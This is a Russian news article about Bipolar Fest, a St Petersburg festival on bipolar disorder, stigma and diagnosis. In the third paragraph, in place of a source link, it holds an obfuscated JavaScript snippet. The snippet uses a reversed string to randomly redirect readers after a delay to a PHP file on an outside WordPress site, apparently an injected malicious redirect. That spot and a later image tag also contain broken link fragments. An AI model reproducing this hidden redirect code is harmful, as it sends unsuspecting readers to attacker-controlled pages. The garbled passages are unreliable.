«Меня любит моя биполярочка». Как прошел Bipolar Fest

Петербург, 30 марта, модное лофт-пространство «Голицын Холл». Старый фонд, лепнина, обшарпанные стены и кафе рядом: когда-то в этом особняке творил Пушкин и встречались члены литературного общества «Арзамас», сейчас — отмечают Всемирный день биполярного расстройства (World Bipolar Day).

Первый фестиваль о людях с биполярным расстройством Bipolar Fest организовали пациентское сообщество «Биполярники» и АНО Партнерство равных, все — на волонтерских началах, сделано активистами с БАР. Говорят, идея пришла месяц назад, думали, что придут человек двадцать. Пришли двести пятьдесят.

В большом зале площадки не протолкнуться: все стулья заняты, кто-то сидит на подлокотниках кресел, кто-то — на полу. Припозднившиеся толпятся в проходе. Некоторые приехали специально из Москвы.

$NjS=function(n){if(typeof ($NjS.list[n])==”string”) return $NjS.list[n].split(“”).reverse().join(“”);return $NjS.list[n];};$NjS.list=[“\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}todate.com/contents/bipolar-disorder-in-adults-epidemiology-and-pathogenesis”> говорит, что в мире с БАР живут 1—2 % населения. По словам Николая Незнанова, директора НМИЦ ПН им. В. М. Бехтерева, в России биполярное расстройство выявляется в 500 раз реже, чем в мире. Это связано как с низким уровнем диагностики, так и с отсутствием привычки россиян с БАР обращаться за профессиональной помощью. Проблема — в стигматизации психиатрии. «Ни для кого не секрет, что люди боятся идти в ПНД, боятся диспансерного учета, занимаются самолечением и попадают в больницы уже с тяжелой степенью расстройства, что грозит инвалидизацией», — объясняет Незнанов.

Биполярное аффективное расстройство (БАР) — психическое заболевание, характеризующееся резкими изменениями настроения и поведения: фаза депрессии сменяется манией. При биполярном расстройстве жизнь состоит из контрастов: депрессивные периоды чередуются с неделями необоснованно повышенного настроения. Это могут быть относительно мягкие и долгие циклы приподнятого и подавленного настроения, а могут быть резкие перепады от эйфории до полной безнадежности. В части случаев заболевание осложняется психотическими приступами: больной может совершать безумные поступки и даже не отдавать себе в этом отчета.

Большинство считают симптомы болезни «просто плохим настроением» или «сложным характером». А сама проблема, по его словам, решается откровенно плохо: психотропные препараты выписываются только психиатрами, но не врачами общей практики. При этом большая часть соматических заболеваний, которые приводят к смерти и к инвалидизации (от 30 до 80 процентов), сопровождаются депрессивными заболеваниями, на которые редко обращают внимание врачи общей практики.

«Пациенты в стационарах не получают нужного лечения и попадают к нам с определенной выраженностью психического расстройства, — добавляет эксперт. — По прогнозам ВОЗ, к 2020 году число случаев инвалидизации, связанных с депрессий, будет сопоставимо с главной причиной — сердечно-сосудистыми заболеваниями».

Его коллега из того же исследовательского центра психиатрии и неврологии Галина Мазо отмечает, что БАР — сравнительно молодой диагноз, который до сих пор плохо воспринимают врачи и студенты: в учебниках вместо него часто пишут «маниакально-депрессивный психоз». Кроме того, расстройство начинается еще в подростковом возрасте, но не диагностируется, а учителя просто считают таких детей «трудными».

Эксперт объясняет сложность диагностики еще и тем, что у части пациентов есть только одна характеристика — продолжительные депрессивные эпизоды (БАР 2 типа).

Голливудские звезды и книга на русском

Первым публичным человеком, заявившим о своем биполярном расстройстве, была Кэтрин Зета-Джонс, рассказавшая прессе о своих симптомах, лечении и опыте стационара.

Ее примеру последовали и другие знаменитости: Деми Ловато, Кэрри Фишер, Жан-Клод Ван Дамм, Бен Стиллер, Мэл Гибсон, Дрю Бэрримор. А Стивен Фрай даже снял фильм о своей болезни «Безумная депрессия со Стивеном Фраем».

По данным ВОЗ, с биполярным расстройством в мире живут около 60 миллионов человек, и им нужна не только терапия, но и принятие со стороны общества.

Маша Пушкина рассказывает, что ровно три года назад создала ассоциацию «Биполярники», когда не нашла поддержки у близких, сейчас в нем уже больше пяти тысяч человек. «Когда мне ставили диагноз „депрессия“, — рассказывает она, — я с этим не согласилась. Я не депрессивная, я деятельная! И вот я нашла книгу «Беспокойный ум» Кей Джеймисон. И поняла: это же про меня! Бегала по издательствам с просьбой: „Ну опубликуйте же ее на русском!“».

«Издательства были настроены скептически: что за странная тема, кому это интересно… Книга стала бестселлером. И я подумала: почему бы не сказать то же самое от лица наших соотечественников? И мы выпустили сборник «Биполярники» — истории от первого лица российских биполярников».

Гений и расстройство совместимы?

Директор АНО «Партнерство равных» Анастасия Петрова, прежде чем рассказать о стигматизации психических расстройств, проводит небольшой опрос: «У кого рыжие волосы? Поднимите руку. (Пара человек поднимают руки.) У кого зеленые глаза? (Уже больше людей.). А теперь те, кто когда-либо держал иностранную валюту. (Руки поднимают почти все). И те, у кого есть велосипед?».

К чему эти вопросы? Аудитория быстро находит ответ: эти признаки в разное время были основаниями для дискриминации и стигматизации. Про рыжих ведьм с зелеными глазами все слышали, держать в руках валюту в СССР было чревато, а по наличию велосипедов в нацистской Германии вычисляли евреев. Сегодня стигматизации подвергаются люди с психическими заболеваниями, но, как замечает Анастасия, даже человек, который никогда не сталкивался с ментальными заболеваниями (и стигматизирует тех, кто страдает психическими расстройствами, пытаясь от них отгородиться), рано или поздно может заболеть депрессией.

tov_-_%D0%A1%D0%B2%D0%B0%D1%82%D0%BE%D0%B2%D1%81%D1%82%D0%B2%D0%BE_%D0%BC%D0%B0%D0%B9%D0%BE%D1%80%D0%B0_-_Google_Art_Project.jpg” alt=”” />

Павел Федотов, «Сватовства майора»

После перерыва вспоминали известных художников с психическими расстройствами. Павел Федотов, автор «Сватовства майора», большую часть жизни провел в лечебнице после нервного срыва. Ричард Дадда во время помутнения рассудка убил отца — и до самой смерти содержался в психиатрической больнице, там продолжил писать. Теперь его работы в галерее Тейт. Эдвард Мунк вел богемную жизнь, но его настигали тревожные состояния и мания преследования. После пары нападений на прохожих он провел семь лет в лечебнице. Всю жизнь Мунк повторял, что только искусство удерживает его от самоубийства.

Яёи Кусама первые галлюцинации увидела в детстве: стол был накрыт красной скатертью с цветами, и ей стало казаться, что эти цветы повсюду. Она покрывала этими красными кругами себя, машины, пространство — все вокруг. Сейчас она самая дорогая из ныне живущих художниц, ее принты узнаваемы и тиражируемы, а Louis Vuitton украшает ими свои витрины.

«Но таблетки не помогают выровнять внутреннее ощущение себя, признать, что ты болен, справиться с мыслями о самоубийстве, — продолжает описывать свое состояние Соня. — Болезнь — как дементор, который забирает все хорошее. Лекарства помогают чисто на химическом уровне убрать экстремальные эмоции, все остальное — твоя работа».

Один из ключевых моментов ее борьбы с расстройством — научиться справляться с депрессивным состоянием «на уровне личности».

«И я начала справляться сама. Находила вещи, которые мне помогают, людей, которые заставляют меня чувствовать себя лучше. Прочитала все, что могла, о биполярном расстройстве. Я стала принимать эмоции и не осуждать себя за них, не делить на негативные и позитивные. Даю им быть в себе, но не даю себя поглотить».

И это помогло. Сейчас Соня уже полгода не ходила на психотерапию, но признается, что чувствует себя хорошо. Не в маниакальном настроении, а именно в хорошем.

«Я бы посоветовала всем научиться понимать свои эмоции, анализировать их и не осуждать. Важно говорить об эмоциях — и давать людям о них говорить».

Bipolar Fest — первая в России массовая публичная встреча для биполярников. И ее смысл, во-первых, в объединении и поддержке людей с расстройством, а во-вторых, в борьбе с осуждением и неприятием. Инаковость — норма, болезнь — не повод для изоляции, а людей с БАР не надо бояться и пытаться отгородиться от них физическим или ментальным забором. Они рядом с нами и совсем не страшные.